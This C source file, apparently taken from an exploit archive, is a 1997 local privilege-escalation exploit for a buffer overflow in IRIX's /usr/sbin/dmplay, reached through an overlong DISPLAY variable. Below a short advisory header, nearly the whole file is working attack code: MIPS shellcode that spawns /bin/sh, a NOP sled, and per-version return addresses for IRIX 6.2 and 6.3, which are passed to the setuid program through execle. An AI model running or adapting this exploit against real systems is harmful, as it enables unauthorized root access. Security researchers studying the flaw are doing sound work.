72 lines
No EOL
2.6 KiB
C
72 lines
No EOL
2.6 KiB
C
/*
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source: https://www.securityfocus.com/bid/1528/info
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Certain versions of IRIX ship with a version of dmplay which is vulnerable to a buffer overflow attack. The program, dmplay, is used to play movie files under IRIX. The problem at hand is the way the program handles the DISPLAY variable for the users X terminal. It does not check bounds and therefore is vulnerable to attack by an overly long user supplied string.
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*/
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/*## copyright LAST STAGE OF DELIRIUM oct 1997 poland *://lsd-pl.net/ #*/
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/*## /usr/sbin/dmplay #*/
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#define NOPNUM 800
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#define ADRNUM 156
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#define PCHNUM 148
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#define TMPNUM 52
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char shellcode[]=
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"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
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"\x24\x02\x03\xf3" /* li $v0,1011 */
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"\x23\xff\x01\x14" /* addi $ra,$ra,276 */
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"\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
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"\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
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"\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
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"\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
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"\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
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"\x03\xff\xff\xcc" /* syscall */
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"/bin/sh"
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;
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char jump[]=
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"\x03\xa0\x10\x25" /* move $v0,$sp */
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"\x03\xe0\x00\x08" /* jr $ra */
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;
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char nop[]="\x24\x0f\x12\x34";
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main(int argc,char **argv){
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char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2],display[128];
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int i;
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printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland //lsd-pl.net/\n");
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printf("/usr/sbin/dmplay for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");
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if(argc!=3){
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printf("usage: %s {62|63} xserver:display\n",argv[0]);
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exit(-1);
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}
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if(!strcmp(argv[1],"62")){
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*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10396+32;
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*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10396+32+900+30540;
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*((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10396+32+8000;
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}
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if(!strcmp(argv[1],"63")){
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*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10348+32;
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*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10348+32+900-84;
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*((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10348+32+8000;
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}
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sprintf(display,"DISPLAY=%s",argv[2]);
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envp[0]=display;
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envp[1]=0;
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b=buffer;
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for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
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for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
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*b++=0xff;
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for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
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for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
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for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
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*b=0;
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execle("/usr/sbin/dmplay","lsd",buffer,0,envp);
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} |